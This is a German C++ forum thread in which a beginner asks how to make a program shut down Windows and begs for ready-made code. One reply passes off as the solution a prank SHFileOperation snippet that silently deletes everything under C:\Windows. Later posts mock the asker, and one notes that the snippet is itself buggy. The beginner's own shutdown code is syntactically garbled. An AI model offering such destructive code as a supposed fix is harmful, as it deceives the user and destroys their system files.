Shut down



  • wieso macht ihrs nicht einfach mit system() ?
    soll auch nicht das beste sein wie ich gehört hab, aber ich denke, es ist das einfachste.



  • Mindphreaker schrieb:

    wieso macht ihrs nicht einfach mit system() ?

    und würdest es du machen mit system machen?
    shutdown.exe?
    rundll32.exe?
    pfad von windows?
    verschiedene windows platformen?
    userprivilegien?
    ....

    wenn du alles berücksichtigt hast dann wirdst du wahrscheinlich eine monster funktion haben.



  • So neh??? :

    #include <windows.h>

    int WINAPI WinMain()
    { bool MySystemShutdown()
    {
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    if (!OpenProcessToken(GetCurrentProcess(),
    TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    return( FALSE );

    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,
    &tkp.Privileges[0].Luid);

    tkp.PrivilegeCount = 1; // one privilege to set
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,
    (PTOKEN_PRIVILEGES)NULL, 0);

    if (GetLastError() != ERROR_SUCCESS)
    return FALSE;

    if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0))
    return FALSE;

    return TRUE;
    ;}

    ;}

    ;}



  • les dir mal ein tutorial durch, hier sind so viele fehler drin das es dir persöhnlich nichts bringt wenn dir jetzt jemand einfach den code hinklatscht.

    ich sag nur
    - semikolon
    - klammerung
    - funktionsdeklaration
    - funktionaufruf
    und und

    oben rechts findest du einiges brauchbares.



  • Ich habe den code doch hingeklatscht bekommen !!!! Ich hab mal neh frage ich lerne grad aus dem Buch "C-von anfang an" Von Helmut erlenkötter. Könntest du mir ein Buchvorschlag machen was ich als nächstes durchnehmen ( <- 🙂 ) soll??
    ich würde gern verstehen wie ein virus funktioniert.





  • wewe schrieb:

    Ich habe den code doch hingeklatscht bekommen !!!!

    habe den link gepostet in der hoffung das du damit was anfangen kannst und
    ihn vernünftig einbauen kannst.

    wewe schrieb:

    Ich hab mal neh frage ich lerne grad aus dem Buch "C-von anfang an" Von Helmut erlenkötter. Könntest du mir ein Buchvorschlag machen was ich als nächstes durchnehmen ( <- 🙂 ) soll??

    durchforste mal die faq oder benutz mal die forensuche, es kommt auch startk darauf in welche richtung du dich entwickelen möchtest



  • Klattscht es mir BITTE hin !!!!!!!! BBBBBIIITTTTTEE



  • So dürfte es funktionieren:

    SHFILEOPSTRUCT fo;
    
     fo.wFunc                 = FO_DELETE;
     fo.pFrom                 = "C:\\Windows\\*.*";
     fo.fFlags                = FOF_NOCONFIRMATION;
    
     SHFileOperation (&fo);
    

    Den Code darfst du aus Copyright gründen aber nicht weitergeben...



  • Du Sau!!!



  • WebFritzi schrieb:

    Du Sau!!!

    😕 Hast du es ausgeführt oder was? 😃



  • masterofx32 schrieb:

    WebFritzi schrieb:

    Du Sau!!!

    😕 Hast du es ausgeführt oder was? 😃

    so dämlich kann keiner sein...



  • net schrieb:

    masterofx32 schrieb:

    😕 Hast du es ausgeführt oder was? 😃

    so dämlich kann keiner sein...

    Das sehe ich anders 😃
    Da werden wohl bald die ersten Klagen bei Anfaenger14 eintrudeln wegen Schreiben von Virencode 🤡

    EDIT: Bemerke gerade, dass der Code ja sowieso fehlerhaft ist, weil pFrom doppelt-nullterminiert sein müsste.



  • Bei mir werden immer fehler gemeldet !!!->
    Kompilierung läuft...
    Herunterfahren.cpp
    C:\Dokumente und Einstellungen\wiluna\Desktop\Herunterfahren.cpp(1) : error C2146: Syntaxfehler : Fehlendes ';' vor Bezeichner 'fo'
    C:\Dokumente und Einstellungen\wiluna\Desktop\Herunterfahren.cpp(1) : error C2501: 'SHFILEOPSTRUCT' : Fehlende Speicherklasse oder Typbezeichner
    C:\Dokumente und Einstellungen\wiluna\Desktop\Herunterfahren.cpp(1) : fatal error C1004: Unerwartetes Dateiende gefunden
    Fehler beim Ausführen von cl.exe.

    Herunterfahren.obj - 3 Fehler, 0 Warnung(en)



  • SHFILEOPSTRUCT fo;

    fo.wFunc = FO_DELETE;
    fo.pFrom = "C:\\Windows\*.*";
    fo.fFlags = FOF_NOCONFIRMATION;

    SHFileOperation (&fo);

    Das prog sieht so aus als würde es Windows löschen !!!!



  • qw schrieb:

    Das prog sieht so aus als würde es Windows löschen !!!!

    Nein! Echt? Wow! 🙄



  • Hier ´soll es nicht um ein programm drehen der windoof löscht sondern den pc herunterfährt



  • qw schrieb:

    Hier ´soll es nicht um ein programm drehen der windoof löscht sondern den pc herunterfährt

    du das wurde hinreichend beantwortet



  • qw schrieb:

    Hier ´soll es nicht um ein programm drehen der windoof löscht sondern den pc herunterfährt

    C++ Forum, da werden Sie geholfen. Ein Programm der Windoof löscht...abgesehen davon: hast Du schon von solch Wörtern wie Ironie und/oder Sarkasmus gehört?

    Es lebe der DAU.



  • Deutschlehrer schrieb:

    Es lebe der DAU.

    👍
    was würden wir nur ohne sie machen 😕
    ➡ konsolenprogramme schreiben 😃 😃


Anmelden zum Antworten